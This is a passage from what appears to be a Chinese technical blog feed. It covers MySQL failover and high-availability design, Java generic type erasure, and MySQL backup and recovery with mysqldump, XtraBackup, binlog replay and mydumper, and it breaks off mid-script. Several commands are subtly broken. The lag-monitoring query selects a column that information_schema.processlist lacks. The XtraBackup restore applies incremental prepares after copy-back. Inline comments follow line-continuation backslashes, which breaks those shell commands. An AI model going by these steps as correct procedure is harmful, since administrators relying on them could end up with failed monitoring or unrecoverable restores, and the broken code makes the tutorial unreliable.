title="九、故障切换实践"></a>九、故障切换实践</h2><p>#</p><h2 id="9-1-切换前检查"><a href="#9-1-切换前检查" class="headerlink" title="9.1 切换前检查"></a>9.1 切换前检查</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 1. 检查复制延迟</span></span><br><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;</span><br><span class="line"><span class="comment">-- Seconds_Behind_Master = 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 2. 检查数据一致性</span></span><br><span class="line">pt<span class="operator">-</span><span class="keyword">table</span><span class="operator">-</span>checksum <span class="comment">--host=master --host=slave</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 3. 检查从库状态</span></span><br><span class="line"><span class="keyword">SHOW</span> PROCESSLIST;</span><br><span class="line"><span class="comment">-- 确保没有长时间查询</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="9-2-切换步骤"><a href="#9-2-切换步骤" class="headerlink" title="9.2 切换步骤"></a>9.2 切换步骤</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 暂停应用写入（或切到只读）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 确认主从数据一致</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 停止从库复制</span></span><br><span class="line">STOP SLAVE;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 重置从库（变为独立库）</span></span><br><span class="line">RESET SLAVE ALL;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 开启新主库读写</span></span><br><span class="line">SET GLOBAL read_only = OFF;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 6. 应用指向新主库</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 7. 旧主库修复后作为从库加入</span></span><br><span class="line">CHANGE MASTER TO ...</span><br><span class="line">START SLAVE;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="9-3-切换后验证"><a href="#9-3-切换后验证" class="headerlink" title="9.3 切换后验证"></a>9.3 切换后验证</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 验证新主库</span></span><br><span class="line"><span class="keyword">SHOW</span> MASTER STATUS;</span><br><span class="line"><span class="keyword">SHOW</span> PROCESSLIST;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 验证从库连接</span></span><br><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;</span><br><span class="line"><span class="comment">-- Slave_IO_Running: Yes</span></span><br><span class="line"><span class="comment">-- Slave_SQL_Running: Yes</span></span><br><span class="line"><span class="comment">-- Seconds_Behind_Master: 0</span></span><br></pre></td></tr></table></figure><h2 id="十、高可用设计建议"><a href="#十、高可用设计建议" class="headerlink" title="十、高可用设计建议"></a>十、高可用设计建议</h2><p>#</p><h2 id="10-1-架构选型"><a href="#10-1-架构选型" class="headerlink" title="10.1 架构选型"></a>10.1 架构选型</h2><table><thead><tr><th>场景</th><th>推荐方案</th></tr></thead><tbody><tr><td>创业公司/小团队</td><td>云数据库</td></tr><tr><td>中小规模</td><td>MHA + Keepalived</td></tr><tr><td>中等规模</td><td>MGR（单主）</td></tr><tr><td>大规模</td><td>Orchestrator + ProxySQL</td></tr><tr><td>金融级</td><td>MGR + 多副本</td></tr></tbody></table><p>#</p><h2 id="10-2-监控告警"><a href="#10-2-监控告警" class="headerlink" title="10.2 监控告警"></a>10.2 监控告警</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 复制延迟监控</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    <span class="built_in">MAX</span>(Seconds_Behind_Master) <span class="keyword">AS</span> max_delay</span><br><span class="line"><span class="keyword">FROM</span> information_schema.processlist</span><br><span class="line"><span class="keyword">WHERE</span> command <span class="operator">=</span> <span class="string">&#x27;Binlog Dump&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 告警：delay &gt; 10秒</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="10-3-灾备设计"><a href="#10-3-灾备设计" class="headerlink" title="10.3 灾备设计"></a>10.3 灾备设计</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">同城双中心：</span><br><span class="line">  中心A（主）      中心B（备）</span><br><span class="line">  ┌──────┐        ┌──────┐</span><br><span class="line">  │Master│───────&gt;│Slave │</span><br><span class="line">  └──────┘  同步   └──────┘</span><br><span class="line"></span><br><span class="line">异地灾备：</span><br><span class="line">  中心A ──&gt; 中心B（同城）──&gt; 中心C（异地）</span><br><span class="line">  同步/半同步    异步复制</span><br></pre></td></tr></table></figure><h2 id="十一、总结"><a href="#十一、总结" class="headerlink" title="十一、总结"></a>十一、总结</h2><table><thead><tr><th>方案</th><th>自动切换</th><th>一致性</th><th>复杂度</th><th>推荐</th></tr></thead><tbody><tr><td>主从手动</td><td>否</td><td>异步</td><td>低</td><td>不推荐生产</td></tr><tr><td>MHA</td><td>是</td><td>异步</td><td>中</td><td>传统方案</td></tr><tr><td>MGR</td><td>是</td><td>强一致</td><td>中</td><td>推荐</td></tr><tr><td>Orchestrator</td><td>是</td><td>异步</td><td>中</td><td>大规模推荐</td></tr><tr><td>云数据库</td><td>是</td><td>可选</td><td>低</td><td>快速上线</td></tr></tbody></table><p>高可用设计的核心原则：</p><ol><li>自动故障检测和切换</li><li>数据一致性优先</li><li>完善的监控和告警</li><li>定期的故障演练</li><li>文档化操作流程</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-泛型的类型擦除到底是什么"><a href="#Java-泛型的类型擦除到底是什么" class="headerlink" title="Java 泛型的类型擦除到底是什么"></a>Java 泛型的类型擦除到底是什么</h1><p>泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。</p><h2 id="泛型解决了什么问题"><a href="#泛型解决了什么问题" class="headerlink" title="泛型解决了什么问题"></a>泛型解决了什么问题</h2><p>没有泛型时，集合里什么都能放：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">Integer</span> <span class="variable">value</span> <span class="operator">=</span> (Integer) list.get(<span class="number">0</span>); <span class="comment">// 运行时报错</span></span><br></pre></td></tr></table></figure><p>使用泛型后，编译期就能发现问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> list.get(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="类型擦除的影响"><a href="#类型擦除的影响" class="headerlink" title="类型擦除的影响"></a>类型擦除的影响</h2><p>运行时 <code>List&lt;String&gt;</code> 和 <code>List&lt;Integer&gt;</code> 都会被擦除成 <code>List</code>。所以不能这样判断：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译不通过</span></span><br><span class="line"><span class="keyword">if</span> (list <span class="keyword">instanceof</span> List&lt;String&gt;) &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL备份与恢复策略</title>
      <link href="//mysql-backup-recovery-strategy/"/>
      <url>//mysql-backup-recovery-strategy/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL备份与恢复策略"><a href="#MySQL备份与恢复策略" class="headerlink" title="MySQL备份与恢复策略"></a>MySQL备份与恢复策略</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、备份类型"><a href="#一、备份类型" class="headerlink" title="一、备份类型"></a>一、备份类型</h2><p>#</p><h2 id="1-1-按备份方式"><a href="#1-1-按备份方式" class="headerlink" title="1.1 按备份方式"></a>1.1 按备份方式</h2><table><thead><tr><th>类型</th><th>说明</th><th>工具</th></tr></thead><tbody><tr><td>逻辑备份</td><td>导出SQL语句</td><td>mysqldump, mydumper</td></tr><tr><td>物理备份</td><td>复制数据文件</td><td>XtraBackup, mysqlbackup</td></tr></tbody></table><p>#</p><h2 id="1-2-按备份范围"><a href="#1-2-按备份范围" class="headerlink" title="1.2 按备份范围"></a>1.2 按备份范围</h2><table><thead><tr><th>类型</th><th>说明</th><th>适用场景</th></tr></thead><tbody><tr><td>全量备份</td><td>备份所有数据</td><td>基础备份</td></tr><tr><td>增量备份</td><td>备份变化的数据</td><td>减少备份时间和空间</td></tr><tr><td>差异备份</td><td>备份自上次全备以来的变化</td><td>平衡全备和增备</td></tr></tbody></table><p>#</p><h2 id="1-3-按备份状态"><a href="#1-3-按备份状态" class="headerlink" title="1.3 按备份状态"></a>1.3 按备份状态</h2><table><thead><tr><th>类型</th><th>说明</th><th>特点</th></tr></thead><tbody><tr><td>热备</td><td>不停止服务</td><td>对业务影响小，需要工具支持</td></tr><tr><td>温备</td><td>只读备份</td><td>影响写入</td></tr><tr><td>冷备</td><td>停止服务</td><td>最简单，影响最大</td></tr></tbody></table><h2 id="二、mysqldump逻辑备份"><a href="#二、mysqldump逻辑备份" class="headerlink" title="二、mysqldump逻辑备份"></a>二、mysqldump逻辑备份</h2><p>#</p><h2 id="2-1-基本用法"><a href="#2-1-基本用法" class="headerlink" title="2.1 基本用法"></a>2.1 基本用法</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 备份单个数据库</span></span><br><span class="line">mysqldump -u root -p mydb &gt; mydb.sql</span><br><span class="line"></span><br><span class="line"><span class="comment"># 备份多个数据库</span></span><br><span class="line">mysqldump -u root -p --databases db1 db2 &gt; databases.sql</span><br><span class="line"></span><br><span class="line"><span class="comment"># 备份所有数据库</span></span><br><span class="line">mysqldump -u root -p --all-databases &gt; all_databases.sql</span><br><span class="line"></span><br><span class="line"><span class="comment"># 备份指定表</span></span><br><span class="line">mysqldump -u root -p mydb table1 table2 &gt; tables.sql</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-常用参数"><a href="#2-2-常用参数" class="headerlink" title="2.2 常用参数"></a>2.2 常用参数</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mysqldump -u root -p \</span><br><span class="line">    --single-transaction \    <span class="comment"># 开启事务，保证一致性（InnoDB）</span></span><br><span class="line">    --master-data=2 \        <span class="comment"># 记录binlog位置（用于主从复制）</span></span><br><span class="line">    --triggers \             <span class="comment"># 导出触发器</span></span><br><span class="line">    --routines \             <span class="comment"># 导出存储过程和函数</span></span><br><span class="line">    --events \               <span class="comment"># 导出定时事件</span></span><br><span class="line">    --databases mydb &gt; mydb.sql</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-压缩备份"><a href="#2-3-压缩备份" class="headerlink" title="2.3 压缩备份"></a>2.3 压缩备份</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 直接压缩</span></span><br><span class="line">mysqldump -u root -p mydb | gzip &gt; mydb.sql.gz</span><br><span class="line"></span><br><span class="line"><span class="comment"># 解压恢复</span></span><br><span class="line">gunzip &lt; mydb.sql.gz | mysql -u root -p mydb</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-恢复"><a href="#2-4-恢复" class="headerlink" title="2.4 恢复"></a>2.4 恢复</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 恢复数据库</span></span><br><span class="line">mysql -u root -p mydb &lt; mydb.sql</span><br><span class="line"></span><br><span class="line"><span class="comment"># 恢复所有数据库</span></span><br><span class="line">mysql -u root -p &lt; all_databases.sql</span><br><span class="line"></span><br><span class="line"><span class="comment"># 大文件恢复（显示进度）</span></span><br><span class="line">pv mydb.sql | mysql -u root -p mydb</span><br></pre></td></tr></table></figure><h2 id="三、XtraBackup物理备份"><a href="#三、XtraBackup物理备份" class="headerlink" title="三、XtraBackup物理备份"></a>三、XtraBackup物理备份</h2><p>#</p><h2 id="3-1-为什么选择XtraBackup"><a href="#3-1-为什么选择XtraBackup" class="headerlink" title="3.1 为什么选择XtraBackup"></a>3.1 为什么选择XtraBackup</h2><table><thead><tr><th>特性</th><th>mysqldump</th><th>XtraBackup</th></tr></thead><tbody><tr><td>备份速度</td><td>慢（逐行导出）</td><td>快（文件复制）</td></tr><tr><td>恢复速度</td><td>慢（逐行插入）</td><td>快（文件复制）</td></tr><tr><td>对业务影响</td><td>大（锁表或长事务）</td><td>小（热备份）</td></tr><tr><td>文件大小</td><td>大（文本SQL）</td><td>小（数据文件）</td></tr><tr><td>使用场景</td><td>小库、部分表</td><td>大库、全库</td></tr></tbody></table><p>#</p><h2 id="3-2-安装"><a href="#3-2-安装" class="headerlink" title="3.2 安装"></a>3.2 安装</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># CentOS/RHEL</span></span><br><span class="line">yum install percona-xtrabackup-80</span><br><span class="line"></span><br><span class="line"><span class="comment"># Ubuntu/Debian</span></span><br><span class="line">apt-get install percona-xtrabackup-80</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-全量备份"><a href="#3-3-全量备份" class="headerlink" title="3.3 全量备份"></a>3.3 全量备份</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 全量备份</span></span><br><span class="line">xtrabackup --backup \</span><br><span class="line">    --target-dir=/backup/full/$(<span class="built_in">date</span> +%Y%m%d) \</span><br><span class="line">    --user=root --password=password</span><br><span class="line"></span><br><span class="line"><span class="comment"># 备份过程输出：</span></span><br><span class="line"><span class="comment"># 1. 复制InnoDB数据文件（不锁表）</span></span><br><span class="line"><span class="comment"># 2. 执行LOCK TABLES FOR BACKUP（短暂锁）</span></span><br><span class="line"><span class="comment"># 3. 复制非InnoDB文件</span></span><br><span class="line"><span class="comment"># 4. 获取binlog位置</span></span><br><span class="line"><span class="comment"># 5. 释放锁</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-准备备份（Prepare）"><a href="#3-4-准备备份（Prepare）" class="headerlink" title="3.4 准备备份（Prepare）"></a>3.4 准备备份（Prepare）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 准备备份（应用redo log，使备份一致）</span></span><br><span class="line">xtrabackup --prepare --target-dir=/backup/full/20240728</span><br><span class="line"></span><br><span class="line"><span class="comment"># 可多次准备，不会破坏备份</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-5-增量备份"><a href="#3-5-增量备份" class="headerlink" title="3.5 增量备份"></a>3.5 增量备份</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 基于全备的增量备份</span></span><br><span class="line">xtrabackup --backup \</span><br><span class="line">    --target-dir=/backup/inc1 \</span><br><span class="line">    --incremental-basedir=/backup/full/20240728 \</span><br><span class="line">    --user=root --password=password</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第二次增量备份</span></span><br><span class="line">xtrabackup --backup \</span><br><span class="line">    --target-dir=/backup/inc2 \</span><br><span class="line">    --incremental-basedir=/backup/inc1 \</span><br><span class="line">    --user=root --password=password</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-6-恢复"><a href="#3-6-恢复" class="headerlink" title="3.6 恢复"></a>3.6 恢复</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 停止MySQL</span></span><br><span class="line">systemctl stop mysqld</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 清理数据目录</span></span><br><span class="line"><span class="built_in">mv</span> /var/lib/mysql /var/lib/mysql_bak</span><br><span class="line"><span class="built_in">mkdir</span> /var/lib/mysql</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 恢复全备</span></span><br><span class="line">xtrabackup --copy-back --target-dir=/backup/full/20240728</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 应用增量备份（如果有）</span></span><br><span class="line">xtrabackup --prepare \</span><br><span class="line">    --target-dir=/backup/full/20240728 \</span><br><span class="line">    --incremental-dir=/backup/inc1</span><br><span class="line"></span><br><span class="line">xtrabackup --prepare \</span><br><span class="line">    --target-dir=/backup/full/20240728 \</span><br><span class="line">    --incremental-dir=/backup/inc2</span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 修改权限</span></span><br><span class="line"><span class="built_in">chown</span> -R mysql:mysql /var/lib/mysql</span><br><span class="line"></span><br><span class="line"><span class="comment"># 6. 启动MySQL</span></span><br><span class="line">systemctl start mysqld</span><br></pre></td></tr></table></figure><h2 id="四、备份策略设计"><a href="#四、备份策略设计" class="headerlink" title="四、备份策略设计"></a>四、备份策略设计</h2><p>#</p><h2 id="4-1-3-2-1备份原则"><a href="#4-1-3-2-1备份原则" class="headerlink" title="4.1 3-2-1备份原则"></a>4.1 3-2-1备份原则</h2><ul><li><strong>3</strong>份数据副本</li><li><strong>2</strong>种不同存储介质</li><li><strong>1</strong>份异地备份</li></ul><p>#</p><h2 id="4-2-备份周期设计"><a href="#4-2-备份周期设计" class="headerlink" title="4.2 备份周期设计"></a>4.2 备份周期设计</h2><table><thead><tr><th>备份类型</th><th>频率</th><th>保留时间</th></tr></thead><tbody><tr><td>全量备份</td><td>每周一次</td><td>1个月</td></tr><tr><td>增量备份</td><td>每天一次</td><td>1周</td></tr><tr><td>binlog备份</td><td>实时</td><td>7-14天</td></tr></tbody></table><p>#</p><h2 id="4-3-自动化备份脚本"><a href="#4-3-自动化备份脚本" class="headerlink" title="4.3 自动化备份脚本"></a>4.3 自动化备份脚本</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># backup.sh</span></span><br><span class="line"></span><br><span class="line">BACKUP_DIR=<span class="string">&quot;/backup/mysql&quot;</span></span><br><span class="line">DATE=$(<span class="built_in">date</span> +%Y%m%d)</span><br><span class="line">WEEK_DAY=$(<span class="built_in">date</span> +%u)</span><br><span class="line">MYSQL_USER=<span class="string">&quot;backup&quot;</span></span><br><span class="line">MYSQL_PASS=<span class="string">&quot;password&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 周日全量，其他增量</span></span><br><span class="line"><span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$WEEK_DAY</span>&quot;</span> -eq 7 ]; <span class="keyword">then</span></span><br><span class="line">    <span class="comment"># 全量备份</span></span><br><span class="line">    BACKUP_TYPE=<span class="string">&quot;full&quot;</span></span><br><span class="line">    TARGET_DIR=<span class="string">&quot;<span class="variable">$BACKUP_DIR</span>/full/<span class="variable">$DATE</span>&quot;</span></span><br><span class="line">    <span class="built_in">mkdir</span> -p <span class="variable">$TARGET_DIR</span></span><br><span class="line">    </span><br><span class="line">    xtrabackup --backup \</span><br><span class="line">        --target-dir=<span class="variable">$TARGET_DIR</span> \</span><br><span class="line">        --user=<span class="variable">$MYSQL_USER</span> --password=<span class="variable">$MYSQL_PASS</span> \</span><br><span class="line">        2&gt;<span class="variable">$TARGET_DIR</span>/backup.log</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 记录全备位置</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="variable">$TARGET_DIR</span> &gt; <span class="variable">$BACKUP_DIR</span>/last_full.txt</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="comment"># 增量备份</span></span><br><span class="line">    BACKUP_TYPE=<span class="string">&quot;incremental&quot;</span></span><br><span class="line">    TARGET_DIR=<span class="string">&quot;<span class="variable">$BACKUP_DIR</span>/inc/<span class="variable">$DATE</span>&quot;</span></span><br><span class="line">    <span class="built_in">mkdir</span> -p <span class="variable">$TARGET_DIR</span></span><br><span class="line">    </span><br><span class="line">    FULL_DIR=$(<span class="built_in">cat</span> <span class="variable">$BACKUP_DIR</span>/last_full.txt)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 确定增量基准</span></span><br><span class="line">    <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$WEEK_DAY</span>&quot;</span> -eq 1 ]; <span class="keyword">then</span></span><br><span class="line">        BASE_DIR=<span class="variable">$FULL_DIR</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        BASE_DIR=$(<span class="built_in">ls</span> -td <span class="variable">$BACKUP_DIR</span>/inc/*/ | <span class="built_in">head</span> -1)</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    </span><br><span class="line">    xtrabackup --backup \</span><br><span class="line">        --target-dir=<span class="variable">$TARGET_DIR</span> \</span><br><span class="line">        --incremental-basedir=<span class="variable">$BASE_DIR</span> \</span><br><span class="line">        --user=<span class="variable">$MYSQL_USER</span> --password=<span class="variable">$MYSQL_PASS</span> \</span><br><span class="line">        2&gt;<span class="variable">$TARGET_DIR</span>/backup.log</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 压缩备份</span></span><br><span class="line">tar czf <span class="variable">$TARGET_DIR</span>.tar.gz -C $(<span class="built_in">dirname</span> <span class="variable">$TARGET_DIR</span>) $(<span class="built_in">basename</span> <span class="variable">$TARGET_DIR</span>)</span><br><span class="line"><span class="built_in">rm</span> -rf <span class="variable">$TARGET_DIR</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 上传OSS</span></span><br><span class="line">aliyun oss <span class="built_in">cp</span> <span class="variable">$TARGET_DIR</span>.tar.gz oss://mybucket/mysql-backup/</span><br><span class="line"></span><br><span class="line"><span class="comment"># 清理旧备份</span></span><br><span class="line">find <span class="variable">$BACKUP_DIR</span> -name <span class="string">&quot;*.tar.gz&quot;</span> -mtime +30 -delete</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;备份完成: <span class="variable">$TARGET_DIR</span>.tar.gz&quot;</span></span><br></pre></td></tr></table></figure><h2 id="五、基于binlog的时点恢复"><a href="#五、基于binlog的时点恢复" class="headerlink" title="五、基于binlog的时点恢复"></a>五、基于binlog的时点恢复</h2><p>#</p><h2 id="5-1-为什么需要binlog恢复"><a href="#5-1-为什么需要binlog恢复" class="headerlink" title="5.1 为什么需要binlog恢复"></a>5.1 为什么需要binlog恢复</h2><p>全量备份只能恢复到备份时刻。binlog记录了备份后的所有变更，可以实现任意时间点的恢复。</p><p>#</p><h2 id="5-2-备份binlog"><a href="#5-2-备份binlog" class="headerlink" title="5.2 备份binlog"></a>5.2 备份binlog</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 实时备份binlog到远程服务器</span></span><br><span class="line">mysqlbinlog --read-from-remote-server \</span><br><span class="line">    --host=master --user=repl --password=password \</span><br><span class="line">    --raw --stop-never mysql-bin.000001 &amp;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-恢复流程"><a href="#5-3-恢复流程" class="headerlink" title="5.3 恢复流程"></a>5.3 恢复流程</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 场景：误删表，需要恢复到删除前</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. 找到删除操作的位置</span></span><br><span class="line">mysqlbinlog --start-datetime=<span class="string">&#x27;2024-07-28 10:00:00&#x27;</span> \</span><br><span class="line">    --stop-datetime=<span class="string">&#x27;2024-07-28 12:00:00&#x27;</span> \</span><br><span class="line">    /var/lib/mysql/mysql-bin.000005 | grep -i <span class="string">&quot;DROP TABLE&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出：</span></span><br><span class="line"><span class="comment"># at 1234567</span></span><br><span class="line"><span class="comment"># DROP TABLE `important_table`</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 恢复全备</span></span><br><span class="line">xtrabackup --copy-back --target-dir=/backup/full/20240728</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 应用binlog到删除前</span></span><br><span class="line">mysqlbinlog --start-position=4 \</span><br><span class="line">    --stop-position=1234567 \</span><br><span class="line">    /var/lib/mysql/mysql-bin.000005 | mysql -u root -p</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 应用后续binlog（跳过删除操作）</span></span><br><span class="line">mysqlbinlog --start-position=1234580 \</span><br><span class="line">    /var/lib/mysql/mysql-bin.000005 | mysql -u root -p</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-4-基于时间恢复"><a href="#5-4-基于时间恢复" class="headerlink" title="5.4 基于时间恢复"></a>5.4 基于时间恢复</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 恢复到指定时间点</span></span><br><span class="line">mysqlbinlog --start-datetime=<span class="string">&#x27;2024-07-28 00:00:00&#x27;</span> \</span><br><span class="line">    --stop-datetime=<span class="string">&#x27;2024-07-28 10:30:00&#x27;</span> \</span><br><span class="line">    mysql-bin.000001 mysql-bin.000002 | mysql -u root -p</span><br></pre></td></tr></table></figure><h2 id="六、mydumper多线程备份"><a href="#六、mydumper多线程备份" class="headerlink" title="六、mydumper多线程备份"></a>六、mydumper多线程备份</h2><p>#</p><h2 id="6-1-安装"><a href="#6-1-安装" class="headerlink" title="6.1 安装"></a>6.1 安装</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 编译安装</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/mydumper/mydumper.git</span><br><span class="line"><span class="built_in">cd</span> mydumper</span><br><span class="line">cmake .</span><br><span class="line">make &amp;&amp; make install</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-备份"><a href="#6-2-备份" class="headerlink" title="6.2 备份"></a>6.2 备份</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 多线程备份（比mysqldump快数倍）</span></span><br><span class="line">mydumper -u root -p password \</span><br><span class="line">    -B mydb \</span><br><span class="line">    -o /backup/mydumper/$(<span class="built_in">date</span> +%Y%m%d) \</span><br><span class="line">    -t 4 \              <span class="comment"># 4个线程</span></span><br><span class="line">    -c \                <span class="comment"># 压缩</span></span><br><span class="line">    -G \                <span class="comment"># 导出触发器、存储过程等</span></span><br><span class="line">    -E \                <span class="comment"># 导出事件</span></span><br><span class="line">    -R                  <span class="comment"># 导出路由</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-恢复"><a href="#6-3-恢复" class="headerlink" title="6.3 恢复"></a>6.3 恢复</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 多线程恢复</span></span><br><span class="line">myloader -u root -p password \</span><br><span class="line">    -d /backup/mydumper/20240728 \</span><br><span class="line">    -t 4 \              <span class="comment"># 4个线程</span></span><br><span class="line">    -B mydb             <span class="comment"># 恢复到指定数据库</span></span><br></pre></td></tr></table></figure><h2 id="七、备份验证"><a href="#七、备份验证" class="headerlink" title="七、备份验证"></a>七、备份验证</h2><p>#</p><h2 id="7-1-定期恢复演练"><a href="#7-1-定期恢复演练" class="headerlink" title="7.1 定期恢复演练"></a>7.1 定期恢复演练</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 自动化恢复验证脚本</span></span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line">FULL_BACKUP=<span class="string">&quot;/backup/full/latest&quot;</span></span><br><span class="line">TEST_DIR=<span class="string">&quot;/var/lib/mysql_test&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. 准备备份</span></span><br><span class="line">xtrabackup --prepare --target-dir=<span class="variable">$FULL_BACKUP</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 恢复到测试目录</span></span><br><span class="line"><span class="built_in">rm</span> -rf <span class="variable">$TEST_DIR</span></span><br><span class="line"><span class="built_in">mkdir</span> <span class="variable">$TEST_DIR</span></span><br><span class="line">xtrabackup --copy-back --target-dir=<span class="variable">$FULL_BACKUP</span> --datadir=<span class="variable">$TEST_DIR</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 启动测试MySQL</span></span><br><span class="line">mysqld --datadir=<span class="variable">$TEST_DIR</span> --port=3307 --socket=/tmp/mysql_test.sock &amp;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 验证数据完整性</span></span><br><span class="line">mysql -S /tmp/mysql_test.sock -e <span class="string">&quot;CHECKSUM TABLE 